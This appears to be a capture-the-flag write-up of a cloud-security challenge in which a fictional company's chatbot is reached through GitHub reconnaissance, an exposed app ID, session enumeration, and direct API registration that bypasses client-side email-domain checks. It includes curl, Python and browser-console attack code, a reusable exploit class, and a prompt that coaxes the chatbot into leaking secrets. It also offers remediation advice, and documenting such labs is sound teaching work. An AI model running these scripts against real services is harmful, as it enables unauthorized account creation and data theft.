Loading...

Cloud Security CTF #4: "Needle in a Haystack" - Complete Technical Writeup

Challenge Overview

The fourth challenge from the Cloud Security Championship focused on discovering exposed secrets in a developer's weekend project. The scenario involved tracking down an internal knowledge base chatbot where sensitive data had been inadvertently stored.

Challenge Description: "One of our developers at Ack-Me Corp is working on a weekend side-project where he is vibe coding an internal knowledge-base chatbot for our company, where he put all of our customer records and sensitive data inside it. Your mission, if you choose to accept it - is to track down the website and obtain the secret flag."

Key Hints Provided

  • Spirit Animal: "Pigeons" (VCS reference)
  • Depth: "2 levels deep"
  • Development Style: "Vibe Coding <3 Client Side"

Step 1: Initial Reconnaissance

Target Domain Analysis

Starting with the public-facing domain ackme-corp.net, initial enumeration revealed limited attack surface:

# Basic DNS enumeration
dig ackme-corp.net
nslookup ackme-corp.net

# Subdomain discovery attempts
gobuster dns -d ackme-corp.net -w wordlist.txt
subfinder -d ackme-corp.net

Key Findings:

  • Domain hosted on AWS S3 with CloudFront
  • Limited publicly accessible endpoints
  • Footer reference to an employee portal

Following the Pigeon Trail

The "pigeon" spirit animal hint pointed toward version control systems (VCS), specifically GitHub. This led to searching for developer repositories associated with the target organization.

# GitHub reconnaissance
# Search patterns:
# - "pigeon" + developer usernames
# - "ackme" or "ackme-corp"
# - Weekend project repositories

Step 2: GitHub OSINT Discovery

Developer Repository Identification

Following the Wiz Security research methodology for finding exposed secrets, we identified a public GitHub repository belonging to a developer with a pigeon-themed username. The repository appeared to be a testing/experimental project.

Repository Analysis

Key files discovered in the repository:

Repository Structure:
├── CNAME (DNS configuration)
├── index.html
└── .git/ (commit history)

DNS Configuration Leak

The CNAME file revealed internal DNS records:

# CNAME file contents showed internal subdomain structure
# Format: [level1].[level2].ackme-corp.net

Critical Finding: The commit history showed DNS record changes, revealing both current and historical internal infrastructure references.

Step 3: Internal Infrastructure Discovery

Subdomain Enumeration

Using the DNS information from the GitHub repository, we constructed potential internal URLs following the "2 levels deep" hint:

# Testing various subdomain patterns
# Pattern: [service].[environment].[internal].ackme-corp.net

Application Discovery

Through methodical testing of common service names and environment identifiers, we discovered an accessible pre-production instance of the internal chatbot application.

Step 4: Client-Side Security Analysis

HTML Source Code Review

Examining the login page source code revealed the "Vibe Coding <3 Client Side" vulnerability:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="application-id" content="[REDACTED-APP-ID]">
    <title>Ack-Me Corp - Internal Knowledge Base Login</title>
</head>
<body>
    <!-- Login form -->
    
    <!-- Hidden configuration for debugging purposes -->
    <div style="display:none" id="app-config" 
         data-app-id="[REDACTED-APP-ID]"></div>
    
    <script>
        const VIBECODE_API = 'https://www.vibecodeawebsitetoday.com';
        // ... authentication code
    </script>
    
    <div class="footer">
        <p class="powered-by">
            <small>Powered by 
                <a href="https://www.vibecodeawebsitetoday.com">
                    vibecodeawebsitetoday.com
                </a>
            </small>
        </p>
    </div>
</body>
</html>

Critical Vulnerability: The application ID for the third-party "VibeCode" platform was exposed in:

  • Meta tag in the HTML head
  • Hidden div element with data attributes
  • JavaScript configuration constants

Client-Side Validation Weakness

The login form implemented client-side email domain validation:

// Client-side validation only
if (!email.toLowerCase().endsWith('@ackme-corp.net')) {
    showError('Access restricted to Ack-Me Corp employees only');
    return;
}

Step 5: API Discovery and Enumeration

VibeCode Platform Investigation

Using the exposed application ID, we investigated the VibeCode API platform referenced in the source code:

# Navigate to the platform
https://www.vibecodeawebsitetoday.com

# API documentation discovery
https://www.vibecodeawebsitetoday.com/docs

API Documentation Analysis

The public API documentation revealed several endpoints of interest:

GET  /api/apps/{app_id}/sessions          # Get active sessions
POST /api/apps/{app_id}/auth/register     # Register new user
POST /api/apps/{app_id}/auth/login        # Login
GET  /api/apps/{app_id}/auth/verify-status # Check verification status

Step 6: Session Enumeration

Active Session Discovery

Using the exposed application ID, we queried the sessions endpoint:

curl -X GET \
  "https://www.vibecodeawebsitetoday.com/api/apps/[APP-ID]/sessions"

Response:

{
  "app_id": "[REDACTED]",
  "active_sessions": 2,
  "sessions": [
    {
      "user": "dev_user_1",
      "status": "vibing",
      "duration": "2h 15m",
      "genre": "lofi hip hop"
    },
    {
      "user": "weekend_coder",
      "status": "in_flow",
      "duration": "45m",
      "genre": "synthwave"
    }
  ]
}

Key Observation: The username "weekend_coder" directly matched the challenge description's reference to a developer's weekend project.

Step 7: Authentication Bypass Exploitation

Vulnerability Analysis

The attack surface revealed a classic security flaw:

  • Client-side: Email domain validation enforced (@ackme-corp.net required)
  • Server-side: No corresponding validation on the API endpoints

Direct API Registration

Bypassing the client-side validation by registering directly through the API:

python3 -c "
import requests
import json

url = 'https://www.vibecodeawebsitetoday.com/api/apps/[APP-ID]/auth/register'
data = {
    'email': 'attacker@example.com',
    'password': 'SecurePassword123!'
}

response = requests.post(url, json=data, verify=False)
print(response.status_code)
print(response.text)
"

Successful Response:

{
  "status": "success",
  "message": "Registration successful. You can now login with your credentials.",
  "app_id": "[REDACTED]",
  "verified": true,
  "dev_note": "Account auto-verified for immediate access"
}

The API accepted registration with any email domain and auto-verified the account - a critical security oversight in the "vibe coding" rapid development process.

Step 8: Authenticated Access and Flag Retrieval

Bypassing Frontend Validation

With valid credentials, we needed to bypass the client-side validation on the login form. Using browser developer tools:

// Execute in browser console (F12)
fetch('http://[INTERNAL-APP-URL]/api/auth/login', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    email: 'attacker@example.com',
    password: 'SecurePassword123!'
  })
}).then(r => r.json()).then(d => {
  console.log(d);
  if(d.redirect) window.location.href = d.redirect;
})

Internal Chatbot Access

After successful authentication, access was granted to the internal knowledge base chatbot interface.

Data Exfiltration

Querying the chatbot for sensitive information:

User Query: "List any local files containing the word CTF"

The chatbot, lacking proper access controls and data filtering, responded with internal credentials including the CTF flag.

Attack Chain Summary

  1. GitHub OSINT → Discovered developer repository through "pigeon" hint
  2. DNS Leak Discovery → Found internal subdomain structure in CNAME and commit history
  3. Application Discovery → Located pre-production chatbot instance
  4. Client-Side Analysis → Extracted exposed Application ID from HTML source
  5. API Documentation → Discovered public API endpoints for the platform
  6. Session Enumeration → Identified active users including "weekend_coder"
  7. Authentication Bypass → Registered account via API, bypassing domain validation
  8. Data Exfiltration → Accessed chatbot and retrieved sensitive information

Vulnerability Summary

Critical Findings

Vulnerability Impact CVSS
Exposed Application ID in HTML Information disclosure enabling API enumeration Medium
Client-side only validation Authentication bypass, unauthorized access Critical
Public session enumeration API User enumeration, reconnaissance Medium
DNS configuration in public repository Internal infrastructure disclosure Low
Chatbot data access controls Sensitive data disclosure Critical

Security Implications and Lessons

1. Client-Side Validation is Not Security

The most critical vulnerability was trusting client-side validation for security enforcement. Email domain restrictions must be validated on the server-side:

# Bad: Client-side only
if (!email.endsWith('@ackme-corp.net')) {
    return error;
}

# Good: Server-side enforcement
@app.route('/api/auth/register', methods=['POST'])
def register():
    email = request.json.get('email')
    if not email.endswith('@ackme-corp.net'):
        return {'error': 'Unauthorized domain'}, 403
    # ... proceed with registration

2. Exposed Application Identifiers

Application IDs, API keys, and similar identifiers should never be exposed in client-side code. Best practices:

  • Use server-side proxies for API calls
  • Implement proper API authentication (OAuth, JWT)
  • Never embed secrets in HTML, JavaScript, or mobile apps
  • Use environment variables and secure configuration management

3. Version Control Hygiene

The CNAME file exposure demonstrates the importance of:

  • Never committing infrastructure details to public repositories
  • Using .gitignore for configuration files
  • Reviewing commit history for sensitive data
  • Understanding that "deleted" commits remain in git history

4. API Security Design

Public APIs require careful security design:

  • Authentication: Require API keys or OAuth tokens
  • Authorization: Implement proper access controls
  • Rate Limiting: Prevent enumeration and abuse
  • Information Disclosure: Avoid exposing user lists or sessions

5. "Vibe Coding" Security Debt

Rapid development ("vibe coding") can introduce security vulnerabilities:

  • Auto-verification of accounts bypasses security checks
  • Debug endpoints left enabled in production environments
  • Client-side validation chosen for development speed
  • Insufficient security review before deployment

Remediation Recommendations

Immediate Actions

  1. Implement Server-Side Validation
    # Example: Proper email domain validation
    ALLOWED_DOMAINS = ['ackme-corp.net']
    
    def validate_email_domain(email):
        domain = email.split('@')[1] if '@' in email else None
        return domain in ALLOWED_DOMAINS
  2. Remove Exposed Secrets
    • Rotate all exposed application IDs and API keys
    • Audit public repositories for sensitive data
    • Use git-secrets or similar tools to prevent future leaks
  3. Secure API Endpoints
    # Example: API authentication middleware
    @app.before_request
    def authenticate_api():
        api_key = request.headers.get('X-API-Key')
        if not validate_api_key(api_key):
            return {'error': 'Unauthorized'}, 401

Long-Term Improvements

  • Implement security review process for all code changes
  • Use static analysis tools (Semgrep, SonarQube) in CI/CD
  • Regular security training for developers
  • Penetration testing of pre-production environments
  • Implement defense-in-depth with multiple validation layers

Tools and Techniques Used

Reconnaissance

  • DNS Enumeration: dig, nslookup, subfinder
  • GitHub OSINT: Manual search, GitHub API
  • Web Analysis: Browser DevTools, Burp Suite

Exploitation

  • API Testing: curl, Python requests, Postman
  • Browser Automation: JavaScript console injection
  • Authentication: Direct API calls bypassing frontend

Python Exploitation Script Example

#!/usr/bin/env python3
import requests
import json

class VibeCodeExploit:
    def __init__(self, app_id, base_url):
        self.app_id = app_id
        self.base_url = base_url
        self.api_url = f"{base_url}/api/apps/{app_id}"
        
    def enumerate_sessions(self):
        """Enumerate active sessions"""
        r = requests.get(f"{self.api_url}/sessions")
        return r.json()
    
    def register_account(self, email, password):
        """Register new account bypassing domain validation"""
        data = {'email': email, 'password': password}
        r = requests.post(f"{self.api_url}/auth/register", json=data)
        return r.json()
    
    def login(self, email, password):
        """Authenticate with registered credentials"""
        data = {'email': email, 'password': password}
        r = requests.post(f"{self.api_url}/auth/login", json=data)
        return r.json()

# Usage
exploit = VibeCodeExploit(
    app_id='[REDACTED]',
    base_url='https://www.vibecodeawebsitetoday.com'
)

# Enumerate sessions
sessions = exploit.enumerate_sessions()
print(f"Active users: {[s['user'] for s in sessions['sessions']]}")

# Register bypass account
result = exploit.register_account('attacker@example.com', 'Password123!')
print(f"Registration: {result['status']}")

References and Further Reading

Conclusion

This challenge effectively demonstrated the security risks of rapid development practices ("vibe coding") where security is treated as an afterthought. The attack chain leveraged multiple common vulnerabilities:

  • Information disclosure through public repositories
  • Client-side only validation
  • Exposed application identifiers
  • Insufficient API security controls

The key takeaway is encapsulated in the challenge theme: "Vibe coding needs vibe security." Fast-paced development must be balanced with security fundamentals, including server-side validation, proper secret management, and defense-in-depth principles.

Challenge completed as part of the Cloud Security Championship monthly CTF series by Wiz Security. This writeup maintains a 4/4 completion record across all challenges.